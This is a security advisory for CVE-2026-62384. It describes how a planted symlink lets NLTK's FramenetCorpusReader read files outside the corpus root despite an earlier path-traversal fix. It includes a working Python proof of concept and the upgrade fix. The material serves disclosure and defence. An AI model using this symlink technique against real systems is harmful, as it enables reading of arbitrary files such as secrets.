high · 7.5CVE-2026-62384Sep 8, 2026

CVE-2026-62384: NLTK FramenetCorpusReader Symlink Sandbox Bypass

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A symlink planted inside an NLTK corpus directory can trick FramenetCorpusReader into reading any file on the system, bypassing the path-traversal guard added in the previous security fix.

Packagenltk
Ecosystempip
Affected>= 3.10.0, < 3.10.2
Fixed in3.10.2
CVE-2026-62384: NLTK FramenetCorpusReader Symlink Sandbox Bypass

The problem

NLTK's FramenetCorpusReader uses _reject_unsafe_path_component() to block path separators and .. sequences. That check is purely lexical: it never resolves symlinks.

An attacker who can write a file into the corpus's frame/, lu/, or fulltext/ subdirectory can plant a symlink whose name contains no separators. The name passes the guard cleanly. The reader then calls self.abspath() (a plain string join) and opens the resolved path with no root-scope check, so the symlink target, which can be any file outside the corpus root, is read and returned as valid frame data.

All three public entry points are affected: frame_by_name(), _lu_file(), and doc().

Proof of concept

A working proof-of-concept for CVE-2026-62384 in nltk, with the exact payload below.

python
import os
import tempfile
from nltk.corpus.reader.framenet import FramenetCorpusReader

root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "framenet_v17")
frame_dir  = os.path.join(corpus_root, "frame")
secret_dir = os.path.join(root, "outside_framenet_root")
os.makedirs(frame_dir)
os.makedirs(secret_dir)

with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f:
    f.write("<frameRelations/>")

secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
    f.write(
        '<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">'
        "<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>"
        "</frame>"
    )

# Symlink name has no separators, so _reject_unsafe_path_component() passes it.
link_path = os.path.join(frame_dir, "evil_link.xml")
os.symlink(secret_path, link_path)

reader = FramenetCorpusReader(corpus_root, [])
reader._frame_idx = {"__dummy__": {"name": "__dummy__"}}  # skip index build

result = reader.frame_by_name("evil_link")   # no '..' anywhere in this call
print("frame name:", result["name"])          # => StolenFrame
print("definition:", result["definition"])    # => THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT

The root cause is CWE-59 (link following) layered on CWE-22 (path traversal). _reject_unsafe_path_component(), introduced by PR #3581 to fix CVE-2026-54292, checks the literal string for /, \, .., and drive prefixes. It has no filesystem interaction at all.

After the check passes, the code calls self.abspath(os.path.join(subdir, value)), which is a lexical operation. The resulting PathPointer is then opened with no required_root argument, so the OS resolves the symlink and returns bytes from outside the corpus root with no exception raised anywhere.

The fix in commit 736d3212 (PR #3726, released in 3.10.2) routes all three call sites through CorpusReader.open() with required_root=self._root, matching the pattern already used correctly by NKJPCorpusReader elsewhere in the codebase. This forces os.path.realpath() resolution before the root-scope assertion, so any symlink that escapes the corpus directory is caught before the file is opened.

The fix

Upgrade nltk to 3.10.2 or later (pip install --upgrade nltk). The fix is in commit 736d3212a47de2005b85b785dde6720556d3925d (PR #3726): frame_by_name(), _lu_file(), and doc() now open files through CorpusReader.open() with required_root=self._root, which resolves symlinks via os.path.realpath() and asserts the canonical path stays inside the corpus root before any read occurs.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research